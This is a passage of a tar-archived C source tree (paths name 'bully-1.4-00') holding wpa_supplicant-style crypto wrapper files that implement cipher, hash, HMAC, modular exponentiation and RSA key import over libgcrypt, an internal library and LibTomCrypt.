gcry_mpi_t bn_base = NULL, bn_exp = NULL, bn_modulus = NULL,
bn_result = NULL;
int ret = -1;
if (gcry_mpi_scan(&bn_base, GCRYMPI_FMT_USG, base, base_len, NULL) !=
GPG_ERR_NO_ERROR ||
gcry_mpi_scan(&bn_exp, GCRYMPI_FMT_USG, power, power_len, NULL) !=
GPG_ERR_NO_ERROR ||
gcry_mpi_scan(&bn_modulus, GCRYMPI_FMT_USG, modulus, modulus_len,
NULL) != GPG_ERR_NO_ERROR)
goto error;
bn_result = gcry_mpi_new(modulus_len * 8);
gcry_mpi_powm(bn_result, bn_base, bn_exp, bn_modulus);
if (gcry_mpi_print(GCRYMPI_FMT_USG, result, *result_len, result_len,
bn_result) != GPG_ERR_NO_ERROR)
goto error;
ret = 0;
error:
gcry_mpi_release(bn_base);
gcry_mpi_release(bn_exp);
gcry_mpi_release(bn_modulus);
gcry_mpi_release(bn_result);
return ret;
}
struct crypto_cipher {
gcry_cipher_hd_t enc;
gcry_cipher_hd_t dec;
};
struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg,
const u8 *iv, const u8 *key,
size_t key_len)
{
struct crypto_cipher *ctx;
gcry_error_t res;
enum gcry_cipher_algos a;
int ivlen;
ctx = os_zalloc(sizeof(*ctx));
if (ctx == NULL)
return NULL;
switch (alg) {
case CRYPTO_CIPHER_ALG_RC4:
a = GCRY_CIPHER_ARCFOUR;
res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_STREAM,
0);
gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_STREAM, 0);
break;
case CRYPTO_CIPHER_ALG_AES:
if (key_len == 24)
a = GCRY_CIPHER_AES192;
else if (key_len == 32)
a = GCRY_CIPHER_AES256;
else
a = GCRY_CIPHER_AES;
res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0);
gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0);
break;
case CRYPTO_CIPHER_ALG_3DES:
a = GCRY_CIPHER_3DES;
res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0);
gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0);
break;
case CRYPTO_CIPHER_ALG_DES:
a = GCRY_CIPHER_DES;
res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0);
gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0);
break;
case CRYPTO_CIPHER_ALG_RC2:
if (key_len == 5)
a = GCRY_CIPHER_RFC2268_40;
else
a = GCRY_CIPHER_RFC2268_128;
res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0);
gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0);
break;
default:
os_free(ctx);
return NULL;
}
if (res != GPG_ERR_NO_ERROR) {
os_free(ctx);
return NULL;
}
if (gcry_cipher_setkey(ctx->enc, key, key_len) != GPG_ERR_NO_ERROR ||
gcry_cipher_setkey(ctx->dec, key, key_len) != GPG_ERR_NO_ERROR) {
gcry_cipher_close(ctx->enc);
gcry_cipher_close(ctx->dec);
os_free(ctx);
return NULL;
}
ivlen = gcry_cipher_get_algo_blklen(a);
if (gcry_cipher_setiv(ctx->enc, iv, ivlen) != GPG_ERR_NO_ERROR ||
gcry_cipher_setiv(ctx->dec, iv, ivlen) != GPG_ERR_NO_ERROR) {
gcry_cipher_close(ctx->enc);
gcry_cipher_close(ctx->dec);
os_free(ctx);
return NULL;
}
return ctx;
}
int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain,
u8 *crypt, size_t len)
{
if (gcry_cipher_encrypt(ctx->enc, crypt, len, plain, len) !=
GPG_ERR_NO_ERROR)
return -1;
return 0;
}
int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt,
u8 *plain, size_t len)
{
if (gcry_cipher_decrypt(ctx->dec, plain, len, crypt, len) !=
GPG_ERR_NO_ERROR)
return -1;
return 0;
}
void crypto_cipher_deinit(struct crypto_cipher *ctx)
{
gcry_cipher_close(ctx->enc);
gcry_cipher_close(ctx->dec);
os_free(ctx);
}
bully-1.4-00/src/crypto/crypto_internal-cipher.c 0000775 0000000 0000000 00000013032 13615304636 0021672 0 ustar 00root root 0000000 0000000 /*
* Crypto wrapper for internal crypto implementation - Cipher wrappers
* Copyright (c) 2006-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "crypto.h"
#include "aes.h"
#include "des_i.h"
struct crypto_cipher {
enum crypto_cipher_alg alg;
union {
struct {
size_t used_bytes;
u8 key[16];
size_t keylen;
} rc4;
struct {
u8 cbc[32];
size_t block_size;
void *ctx_enc;
void *ctx_dec;
} aes;
struct {
struct des3_key_s key;
u8 cbc[8];
} des3;
struct {
u32 ek[32];
u32 dk[32];
u8 cbc[8];
} des;
} u;
};
struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg,
const u8 *iv, const u8 *key,
size_t key_len)
{
struct crypto_cipher *ctx;
ctx = os_zalloc(sizeof(*ctx));
if (ctx == NULL)
return NULL;
ctx->alg = alg;
switch (alg) {
case CRYPTO_CIPHER_ALG_RC4:
if (key_len > sizeof(ctx->u.rc4.key)) {
os_free(ctx);
return NULL;
}
ctx->u.rc4.keylen = key_len;
os_memcpy(ctx->u.rc4.key, key, key_len);
break;
case CRYPTO_CIPHER_ALG_AES:
if (key_len > sizeof(ctx->u.aes.cbc)) {
os_free(ctx);
return NULL;
}
ctx->u.aes.ctx_enc = aes_encrypt_init(key, key_len);
if (ctx->u.aes.ctx_enc == NULL) {
os_free(ctx);
return NULL;
}
ctx->u.aes.ctx_dec = aes_decrypt_init(key, key_len);
if (ctx->u.aes.ctx_dec == NULL) {
aes_encrypt_deinit(ctx->u.aes.ctx_enc);
os_free(ctx);
return NULL;
}
ctx->u.aes.block_size = key_len;
os_memcpy(ctx->u.aes.cbc, iv, ctx->u.aes.block_size);
break;
case CRYPTO_CIPHER_ALG_3DES:
if (key_len != 24) {
os_free(ctx);
return NULL;
}
des3_key_setup(key, &ctx->u.des3.key);
os_memcpy(ctx->u.des3.cbc, iv, 8);
break;
case CRYPTO_CIPHER_ALG_DES:
if (key_len != 8) {
os_free(ctx);
return NULL;
}
des_key_setup(key, ctx->u.des.ek, ctx->u.des.dk);
os_memcpy(ctx->u.des.cbc, iv, 8);
break;
default:
os_free(ctx);
return NULL;
}
return ctx;
}
int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain,
u8 *crypt, size_t len)
{
size_t i, j, blocks;
switch (ctx->alg) {
case CRYPTO_CIPHER_ALG_RC4:
if (plain != crypt)
os_memcpy(crypt, plain, len);
rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen,
ctx->u.rc4.used_bytes, crypt, len);
ctx->u.rc4.used_bytes += len;
break;
case CRYPTO_CIPHER_ALG_AES:
if (len % ctx->u.aes.block_size)
return -1;
blocks = len / ctx->u.aes.block_size;
for (i = 0; i < blocks; i++) {
for (j = 0; j < ctx->u.aes.block_size; j++)
ctx->u.aes.cbc[j] ^= plain[j];
aes_encrypt(ctx->u.aes.ctx_enc, ctx->u.aes.cbc,
ctx->u.aes.cbc);
os_memcpy(crypt, ctx->u.aes.cbc,
ctx->u.aes.block_size);
plain += ctx->u.aes.block_size;
crypt += ctx->u.aes.block_size;
}
break;
case CRYPTO_CIPHER_ALG_3DES:
if (len % 8)
return -1;
blocks = len / 8;
for (i = 0; i < blocks; i++) {
for (j = 0; j < 8; j++)
ctx->u.des3.cbc[j] ^= plain[j];
des3_encrypt(ctx->u.des3.cbc, &ctx->u.des3.key,
ctx->u.des3.cbc);
os_memcpy(crypt, ctx->u.des3.cbc, 8);
plain += 8;
crypt += 8;
}
break;
case CRYPTO_CIPHER_ALG_DES:
if (len % 8)
return -1;
blocks = len / 8;
for (i = 0; i < blocks; i++) {
for (j = 0; j < 8; j++)
ctx->u.des3.cbc[j] ^= plain[j];
des_block_encrypt(ctx->u.des.cbc, ctx->u.des.ek,
ctx->u.des.cbc);
os_memcpy(crypt, ctx->u.des.cbc, 8);
plain += 8;
crypt += 8;
}
break;
default:
return -1;
}
return 0;
}
int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt,
u8 *plain, size_t len)
{
size_t i, j, blocks;
u8 tmp[32];
switch (ctx->alg) {
case CRYPTO_CIPHER_ALG_RC4:
if (plain != crypt)
os_memcpy(plain, crypt, len);
rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen,
ctx->u.rc4.used_bytes, plain, len);
ctx->u.rc4.used_bytes += len;
break;
case CRYPTO_CIPHER_ALG_AES:
if (len % ctx->u.aes.block_size)
return -1;
blocks = len / ctx->u.aes.block_size;
for (i = 0; i < blocks; i++) {
os_memcpy(tmp, crypt, ctx->u.aes.block_size);
aes_decrypt(ctx->u.aes.ctx_dec, crypt, plain);
for (j = 0; j < ctx->u.aes.block_size; j++)
plain[j] ^= ctx->u.aes.cbc[j];
os_memcpy(ctx->u.aes.cbc, tmp, ctx->u.aes.block_size);
plain += ctx->u.aes.block_size;
crypt += ctx->u.aes.block_size;
}
break;
case CRYPTO_CIPHER_ALG_3DES:
if (len % 8)
return -1;
blocks = len / 8;
for (i = 0; i < blocks; i++) {
os_memcpy(tmp, crypt, 8);
des3_decrypt(crypt, &ctx->u.des3.key, plain);
for (j = 0; j < 8; j++)
plain[j] ^= ctx->u.des3.cbc[j];
os_memcpy(ctx->u.des3.cbc, tmp, 8);
plain += 8;
crypt += 8;
}
break;
case CRYPTO_CIPHER_ALG_DES:
if (len % 8)
return -1;
blocks = len / 8;
for (i = 0; i < blocks; i++) {
os_memcpy(tmp, crypt, 8);
des_block_decrypt(crypt, ctx->u.des.dk, plain);
for (j = 0; j < 8; j++)
plain[j] ^= ctx->u.des.cbc[j];
os_memcpy(ctx->u.des.cbc, tmp, 8);
plain += 8;
crypt += 8;
}
break;
default:
return -1;
}
return 0;
}
void crypto_cipher_deinit(struct crypto_cipher *ctx)
{
switch (ctx->alg) {
case CRYPTO_CIPHER_ALG_AES:
aes_encrypt_deinit(ctx->u.aes.ctx_enc);
aes_decrypt_deinit(ctx->u.aes.ctx_dec);
break;
case CRYPTO_CIPHER_ALG_3DES:
break;
default:
break;
}
os_free(ctx);
}
bully-1.4-00/src/crypto/crypto_internal-modexp.c 0000775 0000000 0000000 00000002703 13615304636 0021717 0 ustar 00root root 0000000 0000000 /*
* Crypto wrapper for internal crypto implementation - modexp
* Copyright (c) 2006-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "tls/bignum.h"
#include "crypto.h"
int crypto_mod_exp(const u8 *base, size_t base_len,
const u8 *power, size_t power_len,
const u8 *modulus, size_t modulus_len,
u8 *result, size_t *result_len)
{
struct bignum *bn_base, *bn_exp, *bn_modulus, *bn_result;
int ret = -1;
bn_base = bignum_init();
bn_exp = bignum_init();
bn_modulus = bignum_init();
bn_result = bignum_init();
if (bn_base == NULL || bn_exp == NULL || bn_modulus == NULL ||
bn_result == NULL)
goto error;
if (bignum_set_unsigned_bin(bn_base, base, base_len) < 0 ||
bignum_set_unsigned_bin(bn_exp, power, power_len) < 0 ||
bignum_set_unsigned_bin(bn_modulus, modulus, modulus_len) < 0)
goto error;
if (bignum_exptmod(bn_base, bn_exp, bn_modulus, bn_result) < 0)
goto error;
ret = bignum_get_unsigned_bin(bn_result, result, result_len);
error:
bignum_deinit(bn_base);
bignum_deinit(bn_exp);
bignum_deinit(bn_modulus);
bignum_deinit(bn_result);
return ret;
}
bully-1.4-00/src/crypto/crypto_internal-rsa.c 0000775 0000000 0000000 00000005521 13615304636 0021211 0 ustar 00root root 0000000 0000000 /*
* Crypto wrapper for internal crypto implementation - RSA parts
* Copyright (c) 2006-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "crypto.h"
#include "tls/rsa.h"
#include "tls/bignum.h"
#include "tls/pkcs1.h"
#include "tls/pkcs8.h"
/* Dummy structures; these are just typecast to struct crypto_rsa_key */
struct crypto_public_key;
struct crypto_private_key;
struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len)
{
return (struct crypto_public_key *)
crypto_rsa_import_public_key(key, len);
}
struct crypto_private_key * crypto_private_key_import(const u8 *key,
size_t len,
const char *passwd)
{
struct crypto_private_key *res;
/* First, check for possible PKCS #8 encoding */
res = pkcs8_key_import(key, len);
if (res)
return res;
if (passwd) {
/* Try to parse as encrypted PKCS #8 */
res = pkcs8_enc_key_import(key, len, passwd);
if (res)
return res;
}
/* Not PKCS#8, so try to import PKCS #1 encoded RSA private key */
wpa_printf(MSG_DEBUG, "Trying to parse PKCS #1 encoded RSA private "
"key");
return (struct crypto_private_key *)
crypto_rsa_import_private_key(key, len);
}
struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf,
size_t len)
{
/* No X.509 support in crypto_internal.c */
return NULL;
}
int crypto_public_key_encrypt_pkcs1_v15(struct crypto_public_key *key,
const u8 *in, size_t inlen,
u8 *out, size_t *outlen)
{
return pkcs1_encrypt(2, (struct crypto_rsa_key *) key,
0, in, inlen, out, outlen);
}
int crypto_private_key_decrypt_pkcs1_v15(struct crypto_private_key *key,
const u8 *in, size_t inlen,
u8 *out, size_t *outlen)
{
return pkcs1_v15_private_key_decrypt((struct crypto_rsa_key *) key,
in, inlen, out, outlen);
}
int crypto_private_key_sign_pkcs1(struct crypto_private_key *key,
const u8 *in, size_t inlen,
u8 *out, size_t *outlen)
{
return pkcs1_encrypt(1, (struct crypto_rsa_key *) key,
1, in, inlen, out, outlen);
}
void crypto_public_key_free(struct crypto_public_key *key)
{
crypto_rsa_free((struct crypto_rsa_key *) key);
}
void crypto_private_key_free(struct crypto_private_key *key)
{
crypto_rsa_free((struct crypto_rsa_key *) key);
}
int crypto_public_key_decrypt_pkcs1(struct crypto_public_key *key,
const u8 *crypt, size_t crypt_len,
u8 *plain, size_t *plain_len)
{
return pkcs1_decrypt_public_key((struct crypto_rsa_key *) key,
crypt, crypt_len, plain, plain_len);
}
bully-1.4-00/src/crypto/crypto_internal.c 0000775 0000000 0000000 00000007746 13615304636 0020441 0 ustar 00root root 0000000 0000000 /*
* Crypto wrapper for internal crypto implementation
* Copyright (c) 2006-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "crypto.h"
#include "sha1_i.h"
#include "md5_i.h"
struct crypto_hash {
enum crypto_hash_alg alg;
union {
struct MD5Context md5;
struct SHA1Context sha1;
} u;
u8 key[64];
size_t key_len;
};
struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key,
size_t key_len)
{
struct crypto_hash *ctx;
u8 k_pad[64];
u8 tk[20];
size_t i;
ctx = os_zalloc(sizeof(*ctx));
if (ctx == NULL)
return NULL;
ctx->alg = alg;
switch (alg) {
case CRYPTO_HASH_ALG_MD5:
MD5Init(&ctx->u.md5);
break;
case CRYPTO_HASH_ALG_SHA1:
SHA1Init(&ctx->u.sha1);
break;
case CRYPTO_HASH_ALG_HMAC_MD5:
if (key_len > sizeof(k_pad)) {
MD5Init(&ctx->u.md5);
MD5Update(&ctx->u.md5, key, key_len);
MD5Final(tk, &ctx->u.md5);
key = tk;
key_len = 16;
}
os_memcpy(ctx->key, key, key_len);
ctx->key_len = key_len;
os_memcpy(k_pad, key, key_len);
os_memset(k_pad + key_len, 0, sizeof(k_pad) - key_len);
for (i = 0; i < sizeof(k_pad); i++)
k_pad[i] ^= 0x36;
MD5Init(&ctx->u.md5);
MD5Update(&ctx->u.md5, k_pad, sizeof(k_pad));
break;
case CRYPTO_HASH_ALG_HMAC_SHA1:
if (key_len > sizeof(k_pad)) {
SHA1Init(&ctx->u.sha1);
SHA1Update(&ctx->u.sha1, key, key_len);
SHA1Final(tk, &ctx->u.sha1);
key = tk;
key_len = 20;
}
os_memcpy(ctx->key, key, key_len);
ctx->key_len = key_len;
os_memcpy(k_pad, key, key_len);
os_memset(k_pad + key_len, 0, sizeof(k_pad) - key_len);
for (i = 0; i < sizeof(k_pad); i++)
k_pad[i] ^= 0x36;
SHA1Init(&ctx->u.sha1);
SHA1Update(&ctx->u.sha1, k_pad, sizeof(k_pad));
break;
default:
os_free(ctx);
return NULL;
}
return ctx;
}
void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len)
{
if (ctx == NULL)
return;
switch (ctx->alg) {
case CRYPTO_HASH_ALG_MD5:
case CRYPTO_HASH_ALG_HMAC_MD5:
MD5Update(&ctx->u.md5, data, len);
break;
case CRYPTO_HASH_ALG_SHA1:
case CRYPTO_HASH_ALG_HMAC_SHA1:
SHA1Update(&ctx->u.sha1, data, len);
break;
}
}
int crypto_hash_finish(struct crypto_hash *ctx, u8 *mac, size_t *len)
{
u8 k_pad[64];
size_t i;
if (ctx == NULL)
return -2;
if (mac == NULL || len == NULL) {
os_free(ctx);
return 0;
}
switch (ctx->alg) {
case CRYPTO_HASH_ALG_MD5:
if (*len < 16) {
*len = 16;
os_free(ctx);
return -1;
}
*len = 16;
MD5Final(mac, &ctx->u.md5);
break;
case CRYPTO_HASH_ALG_SHA1:
if (*len < 20) {
*len = 20;
os_free(ctx);
return -1;
}
*len = 20;
SHA1Final(mac, &ctx->u.sha1);
break;
case CRYPTO_HASH_ALG_HMAC_MD5:
if (*len < 16) {
*len = 16;
os_free(ctx);
return -1;
}
*len = 16;
MD5Final(mac, &ctx->u.md5);
os_memcpy(k_pad, ctx->key, ctx->key_len);
os_memset(k_pad + ctx->key_len, 0,
sizeof(k_pad) - ctx->key_len);
for (i = 0; i < sizeof(k_pad); i++)
k_pad[i] ^= 0x5c;
MD5Init(&ctx->u.md5);
MD5Update(&ctx->u.md5, k_pad, sizeof(k_pad));
MD5Update(&ctx->u.md5, mac, 16);
MD5Final(mac, &ctx->u.md5);
break;
case CRYPTO_HASH_ALG_HMAC_SHA1:
if (*len < 20) {
*len = 20;
os_free(ctx);
return -1;
}
*len = 20;
SHA1Final(mac, &ctx->u.sha1);
os_memcpy(k_pad, ctx->key, ctx->key_len);
os_memset(k_pad + ctx->key_len, 0,
sizeof(k_pad) - ctx->key_len);
for (i = 0; i < sizeof(k_pad); i++)
k_pad[i] ^= 0x5c;
SHA1Init(&ctx->u.sha1);
SHA1Update(&ctx->u.sha1, k_pad, sizeof(k_pad));
SHA1Update(&ctx->u.sha1, mac, 20);
SHA1Final(mac, &ctx->u.sha1);
break;
}
os_free(ctx);
return 0;
}
int crypto_global_init(void)
{
return 0;
}
void crypto_global_deinit(void)
{
}
bully-1.4-00/src/crypto/crypto_libtomcrypt.c 0000775 0000000 0000000 00000034350 13615304636 0021164 0 ustar 00root root 0000000 0000000 /*
* WPA Supplicant / Crypto wrapper for LibTomCrypt (for internal TLSv1)
* Copyright (c) 2005-2006, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include
#include "common.h"
#include "crypto.h"
#ifndef mp_init_multi
#define mp_init_multi ltc_init_multi
#define mp_clear_multi ltc_deinit_multi
#define mp_unsigned_bin_size(a) ltc_mp.unsigned_size(a)
#define mp_to_unsigned_bin(a, b) ltc_mp.unsigned_write(a, b)
#define mp_read_unsigned_bin(a, b, c) ltc_mp.unsigned_read(a, b, c)
#define mp_exptmod(a,b,c,d) ltc_mp.exptmod(a,b,c,d)
#endif
int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
hash_state md;
size_t i;
md4_init(&md);
for (i = 0; i < num_elem; i++)
md4_process(&md, addr[i], len[i]);
md4_done(&md, mac);
return 0;
}
void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher)
{
u8 pkey[8], next, tmp;
int i;
symmetric_key skey;
/* Add parity bits to the key */
next = 0;
for (i = 0; i < 7; i++) {
tmp = key[i];
pkey[i] = (tmp >> i) | next | 1;
next = tmp << (7 - i);
}
pkey[i] = next | 1;
des_setup(pkey, 8, 0, &skey);
des_ecb_encrypt(clear, cypher, &skey);
des_done(&skey);
}
int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
hash_state md;
size_t i;
md5_init(&md);
for (i = 0; i < num_elem; i++)
md5_process(&md, addr[i], len[i]);
md5_done(&md, mac);
return 0;
}
int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
hash_state md;
size_t i;
sha1_init(&md);
for (i = 0; i < num_elem; i++)
sha1_process(&md, addr[i], len[i]);
sha1_done(&md, mac);
return 0;
}
void * aes_encrypt_init(const u8 *key, size_t len)
{
symmetric_key *skey;
skey = os_malloc(sizeof(*skey));
if (skey == NULL)
return NULL;
if (aes_setup(key, len, 0, skey) != CRYPT_OK) {
os_free(skey);
return NULL;
}
return skey;
}
void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt)
{
symmetric_key *skey = ctx;
aes_ecb_encrypt(plain, crypt, skey);
}
void aes_encrypt_deinit(void *ctx)
{
symmetric_key *skey = ctx;
aes_done(skey);
os_free(skey);
}
void * aes_decrypt_init(const u8 *key, size_t len)
{
symmetric_key *skey;
skey = os_malloc(sizeof(*skey));
if (skey == NULL)
return NULL;
if (aes_setup(key, len, 0, skey) != CRYPT_OK) {
os_free(skey);
return NULL;
}
return skey;
}
void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain)
{
symmetric_key *skey = ctx;
aes_ecb_encrypt(plain, (u8 *) crypt, skey);
}
void aes_decrypt_deinit(void *ctx)
{
symmetric_key *skey = ctx;
aes_done(skey);
os_free(skey);
}
struct crypto_hash {
enum crypto_hash_alg alg;
int error;
union {
hash_state md;
hmac_state hmac;
} u;
};
struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key,
size_t key_len)
{
struct crypto_hash *ctx;
ctx = os_zalloc(sizeof(*ctx));
if (ctx == NULL)
return NULL;
ctx->alg = alg;
switch (alg) {
case CRYPTO_HASH_ALG_MD5:
if (md5_init(&ctx->u.md) != CRYPT_OK)
goto fail;
break;
case CRYPTO_HASH_ALG_SHA1:
if (sha1_init(&ctx->u.md) != CRYPT_OK)
goto fail;
break;
case CRYPTO_HASH_ALG_HMAC_MD5:
if (hmac_init(&ctx->u.hmac, find_hash("md5"), key, key_len) !=
CRYPT_OK)
goto fail;
break;
case CRYPTO_HASH_ALG_HMAC_SHA1:
if (hmac_init(&ctx->u.hmac, find_hash("sha1"), key, key_len) !=
CRYPT_OK)
goto fail;
break;
default:
goto fail;
}
return ctx;
fail:
os_free(ctx);
return NULL;
}
void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len)
{
if (ctx == NULL || ctx->error)
return;
switch (ctx->alg) {
case CRYPTO_HASH_ALG_MD5:
ctx->error = md5_process(&ctx->u.md, data, len) != CRYPT_OK;
break;
case CRYPTO_HASH_ALG_SHA1:
ctx->error = sha1_process(&ctx->u.md, data, len) != CRYPT_OK;
break;
case CRYPTO_HASH_ALG_HMAC_MD5:
case CRYPTO_HASH_ALG_HMAC_SHA1:
ctx->error = hmac_process(&ctx->u.hmac, data, len) != CRYPT_OK;
break;
}
}
int crypto_hash_finish(struct crypto_hash *ctx, u8 *mac, size_t *len)
{
int ret = 0;
unsigned long clen;
if (ctx == NULL)
return -2;
if (mac == NULL || len == NULL) {
os_free(ctx);
return 0;
}
if (ctx->error) {
os_free(ctx);
return -2;
}
switch (ctx->alg) {
case CRYPTO_HASH_ALG_MD5:
if (*len < 16) {
*len = 16;
os_free(ctx);
return -1;
}
*len = 16;
if (md5_done(&ctx->u.md, mac) != CRYPT_OK)
ret = -2;
break;
case CRYPTO_HASH_ALG_SHA1:
if (*len < 20) {
*len = 20;
os_free(ctx);
return -1;
}
*len = 20;
if (sha1_done(&ctx->u.md, mac) != CRYPT_OK)
ret = -2;
break;
case CRYPTO_HASH_ALG_HMAC_SHA1:
if (*len < 20) {
*len = 20;
os_free(ctx);
return -1;
}
/* continue */
case CRYPTO_HASH_ALG_HMAC_MD5:
if (*len < 16) {
*len = 16;
os_free(ctx);
return -1;
}
clen = *len;
if (hmac_done(&ctx->u.hmac, mac, &clen) != CRYPT_OK) {
os_free(ctx);
return -1;
}
*len = clen;
break;
default:
ret = -2;
break;
}
os_free(ctx);
return ret;
}
struct crypto_cipher {
int rc4;
union {
symmetric_CBC cbc;
struct {
size_t used_bytes;
u8 key[16];
size_t keylen;
} rc4;
} u;
};
struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg,
const u8 *iv, const u8 *key,
size_t key_len)
{
struct crypto_cipher *ctx;
int idx, res, rc4 = 0;
switch (alg) {
case CRYPTO_CIPHER_ALG_AES:
idx = find_cipher("aes");
break;
case CRYPTO_CIPHER_ALG_3DES:
idx = find_cipher("3des");
break;
case CRYPTO_CIPHER_ALG_DES:
idx = find_cipher("des");
break;
case CRYPTO_CIPHER_ALG_RC2:
idx = find_cipher("rc2");
break;
case CRYPTO_CIPHER_ALG_RC4:
idx = -1;
rc4 = 1;
break;
default:
return NULL;
}
ctx = os_zalloc(sizeof(*ctx));
if (ctx == NULL)
return NULL;
if (rc4) {
ctx->rc4 = 1;
if (key_len > sizeof(ctx->u.rc4.key)) {
os_free(ctx);
return NULL;
}
ctx->u.rc4.keylen = key_len;
os_memcpy(ctx->u.rc4.key, key, key_len);
} else {
res = cbc_start(idx, iv, key, key_len, 0, &ctx->u.cbc);
if (res != CRYPT_OK) {
wpa_printf(MSG_DEBUG, "LibTomCrypt: Cipher start "
"failed: %s", error_to_string(res));
os_free(ctx);
return NULL;
}
}
return ctx;
}
int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain,
u8 *crypt, size_t len)
{
int res;
if (ctx->rc4) {
if (plain != crypt)
os_memcpy(crypt, plain, len);
rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen,
ctx->u.rc4.used_bytes, crypt, len);
ctx->u.rc4.used_bytes += len;
return 0;
}
res = cbc_encrypt(plain, crypt, len, &ctx->u.cbc);
if (res != CRYPT_OK) {
wpa_printf(MSG_DEBUG, "LibTomCrypt: CBC encryption "
"failed: %s", error_to_string(res));
return -1;
}
return 0;
}
int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt,
u8 *plain, size_t len)
{
int res;
if (ctx->rc4) {
if (plain != crypt)
os_memcpy(plain, crypt, len);
rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen,
ctx->u.rc4.used_bytes, plain, len);
ctx->u.rc4.used_bytes += len;
return 0;
}
res = cbc_decrypt(crypt, plain, len, &ctx->u.cbc);
if (res != CRYPT_OK) {
wpa_printf(MSG_DEBUG, "LibTomCrypt: CBC decryption "
"failed: %s", error_to_string(res));
return -1;
}
return 0;
}
void crypto_cipher_deinit(struct crypto_cipher *ctx)
{
if (!ctx->rc4)
cbc_done(&ctx->u.cbc);
os_free(ctx);
}
struct crypto_public_key {
rsa_key rsa;
};
struct crypto_private_key {
rsa_key rsa;
};
struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len)
{
int res;
struct crypto_public_key *pk;
pk = os_zalloc(sizeof(*pk));
if (pk == NULL)
return NULL;
res = rsa_import(key, len, &pk->rsa);
if (res != CRYPT_OK) {
wpa_printf(MSG_ERROR, "LibTomCrypt: Failed to import "
"public key (res=%d '%s')",
res, error_to_string(res));
os_free(pk);
return NULL;
}
if (pk->rsa.type != PK_PUBLIC) {
wpa_printf(MSG_ERROR, "LibTomCrypt: Public key was not of "
"correct type");
rsa_free(&pk->rsa);
os_free(pk);
return NULL;
}
return pk;
}
struct crypto_private_key * crypto_private_key_import(const u8 *key,
size_t len,
const char *passwd)
{
int res;
struct crypto_private_key *pk;
pk = os_zalloc(sizeof(*pk));
if (pk == NULL)
return NULL;
res = rsa_import(key, len, &pk->rsa);
if (res != CRYPT_OK) {
wpa_printf(MSG_ERROR, "LibTomCrypt: Failed to import "
"private key (res=%d '%s')",
res, error_to_string(res));
os_free(pk);
return NULL;
}
if (pk->rsa.type != PK_PRIVATE) {
wpa_printf(MSG_ERROR, "LibTomCrypt: Private key was not of "
"correct type");
rsa_free(&pk->rsa);
os_free(pk);
return NULL;
}
return pk;
}
struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf,
size_t len)
{
/* No X.509 support in LibTomCrypt */
return NULL;
}
static int pkcs1_generate_encryption_block(u8 block_type, size_t modlen,
const u8 *in, size_t inlen,
u8 *out, size_t *outlen)
{
size_t ps_len;
u8 *pos;
/*
* PKCS #1 v1.5, 8.1:
*
* EB = 00 || BT || PS || 00 || D
* BT = 00 or 01 for private-key operation; 02 for public-key operation
* PS = k-3-||D||; at least eight octets
* (BT=0: PS=0x00, BT=1: PS=0xff, BT=2: PS=pseudorandom non-zero)
* k = length of modulus in octets (modlen)
*/
